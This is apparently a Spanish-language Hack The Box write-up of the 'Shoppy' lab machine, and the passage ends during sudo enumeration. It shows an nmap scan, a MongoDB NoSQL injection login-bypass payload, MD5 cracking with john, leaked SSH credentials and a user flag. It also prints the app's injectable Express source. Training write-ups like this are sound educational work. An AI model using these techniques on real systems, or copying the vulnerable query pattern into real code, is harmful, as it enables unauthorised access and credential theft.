Shoppy expone un sitio web donde explotamos una vulnerabilidad NoSQL Injection la cual nos permitió acceder a información de usuarios, con ello logramos ingresar a Mattermost donde encontramos credenciales que nos dieron acceso por SSH. Accedimos a un segundo usuario con la información obtenida de un fichero ejecutable. Finalmente escalamos privilegios utilizando el comando de docker.
# Nmap 7.92 scan initiated Sun Sep 18 00:13:12 2022 as: nmap -p22,80,9093 -sV -sC -oN nmap_scan 10.129.44.202Nmap scan report for 10.129.44.202 (10.129.44.202)Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)| ssh-hostkey:
|3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)|256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)|_ 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)80/tcp open http nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain;charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/plain;version=0.0.4;charset=utf-8
| Date: Sun, 18 Sep 2022 00:13:36 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 134| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 134| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 4.7598e-05
| go_gc_duration_seconds{quantile="0.25"} 0.000132256
| go_g
| HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain;version=0.0.4;charset=utf-8
| Date: Sun, 18 Sep 2022 00:13:37 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 134| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 134| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 4.7598e-05
| go_gc_duration_seconds{quantile="0.25"} 0.000132256
|_ go_g
[.. snip ..]Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 18 00:14:59 2022 -- 1 IP address (1 host up) scanned in 106.32 seconds
Puerto 9093
El puerto 9093 parece aceptar solo solicitudes HTTP.
1
2
3
4
5
6
7
8
π ~/htb/shoppy ❯ nc 10.129.44.202 9093HTTP/1.1 400 Bad Request
Content-Type: text/plain;charset=utf-8
Connection: close
400 Bad Request
π ~/htb/shoppy ❯
Dicho puerto muestra algun tipo de log que cambia por cada visita.
Web Site
Los headers del sitio web indican una redirección al dominio shoppy.htb el cual agregamos al archivo /etc/passwd.
Intentamos con distintos payload de SQLi auth bypass pero no funcionó, el sitio mostraba un codigo de respuesta 504 en la mayoria de estos.
Tras intentar con un payloads de MongoDB (' || 1==1%00) logramos realizar bypass al login e ingresar.
En la opción de busqueda de usuarios es posible encontrar información de un usuario conocido, la aplicación muestra un boton que redirige a un archivo json.
Observamos información del usuario admin en el archivo, sin embargo el hash no se encuentra en worldist o sitios comunes.
Tras ejecutar john sobre este hash logramos obtener su valor en texto plano.
1
2
3
4
5
6
7
8
9
10
π ~/htb/shoppy ❯ john hash --wordlist=$ROCK --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])Warning: no OpenMP support for this hash type, consider --fork=4Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (?)1g 0:00:00:00 DONE (2022-09-20 00:47) 1.234g/s 17707Kp/s 17707Kc/s 18710KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
π ~/htb/shoppy ❯
Mattermost - Josh
Vhosts
La contraseña no funciona en el panel de logeo y en el servicio SSH, por lo que realizamos una enumeración de subdominios con ffuf, descubrimos mattermost.
π ~/htb/shoppy ❯ ssh jaeger@shoppy.htb # Sh0ppyBest@pp!jaeger@shoppy.htb's password:
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
manpath: can't set the locale; make sure $LC_* and $LANG are correct
jaeger@shoppy:~$ whoami;id;pwdjaeger
uid=1000(jaeger)gid=1000(jaeger)groups=1000(jaeger)/home/jaeger
jaeger@shoppy:~$ ls
Desktop Documents Downloads Music Pictures Public ShoppyApp Templates Videos shoppy_start.sh user.txt
jaeger@shoppy:~$ cat user.txt
218dbafd75fd77546952987c70a4b818
jaeger@shoppy:~$
Observamos el codigo fuente del sitio en ShoppyApp/, en este caso el del login.
constexpress=require('express');constmongoose=require('mongoose');constUser=require('./schemas/user');constProduct=require('./schemas/product');constsession=require('express-session');constcookieParser=require('cookie-parser');constMongoStore=require('connect-mongo');constfs=require('fs');constapp=express();app.use(express.urlencoded({extended:true}));app.use(express.json());app.use(cookieParser());constmongoUri='mongodb://127.0.0.1/shoppy';app.use(session({secret:'DJ7aAdnkCZs9DZWx',store:MongoStore.create({mongoUrl:mongoUri}),resave:false,saveUninitialized:false}));app.disable('x-powered-by');app.set('view engine','ejs');mongoose.connect(mongoUri);app.use(express.static('static'));app.use('/exports',express.static('exports'));app.get('/',(req,res)=>{res.sendFile('index.html',{root:__dirname+'/views'});});app.get('/admin',async(req,res)=>{if(req.session.username){constdata=awaitProduct.find({});res.render('admin.ejs',{products:data});}else{res.redirect('/login');}});app.get('/admin/search-users',async(req,res)=>{if(req.session.username){if(Object.keys(req.query).length>0){try{constquery={$where:"this.username === '"+req.query.username+"\'"};constdata=awaitUser.find(query).maxTimeMS(350);if(data.length===0){res.render('search.ejs',{info:'No results for your search'});}else{fs.writeFileSync('./exports/export-search.json',JSON.stringify(data));res.render('search.ejs',{link:'http://shoppy.htb/exports/export-search.json'});}}catch(e){res.status(500).send('Internal Server Error');}}else{res.render('search.ejs');}}else{res.redirect('/login');}});app.get('/login',(req,res)=>{if(req.query.error==='WrongCredentials'){res.sendFile('login-error.html',{root:__dirname+'/views'});}else{res.sendFile('login.html',{root:__dirname+'/views'});}});app.post('/login',async(req,res)=>{constusername=req.body.username;constpassword=req.body.password;if(username===undefined||password===undefined){res.status(400).send('Bad Request');return;}constpassToTest=require('crypto').createHash('md5').update(password).digest('hex');constquery={$where:`this.username === '${username}' && this.password === '${passToTest}'`};constresult=awaitUser.find(query).maxTimeMS(350);if(result.length===0){res.redirect('/login?error=WrongCredentials');}else{req.session.username=req.body.username;req.session.save((error)=>{if(error){res.redirect('/login?error=WrongCredentials');}else{res.redirect('/admin');}});}});app.listen(3000,'localhost');
User - Deploy
Jaeger tiene permisos para ejecutar el fichero password-manager como deploy.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
jaeger@shoppy:~$ sudo -l -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
Sudoers entry:
RunAsUsers: deploy
Commands:
/home/deploy/password-manager
jaeger@shoppy:~$ file /home/deploy/password-manager
/home/deploy/password-manager: ELF 64-bit LSB pie executable, x86-64, version 1(SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.0, not stripped
jaeger@shoppy:~$
Tras ejecutar el fichero este espera una contraseña.
1
2
3
4
5
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: password123
Access denied! This incident will be reported !
jaeger@shoppy:~$
Observando las strings del fichero se muestra que realiza un cat a un archivo de texto al cual no tenemos acceso.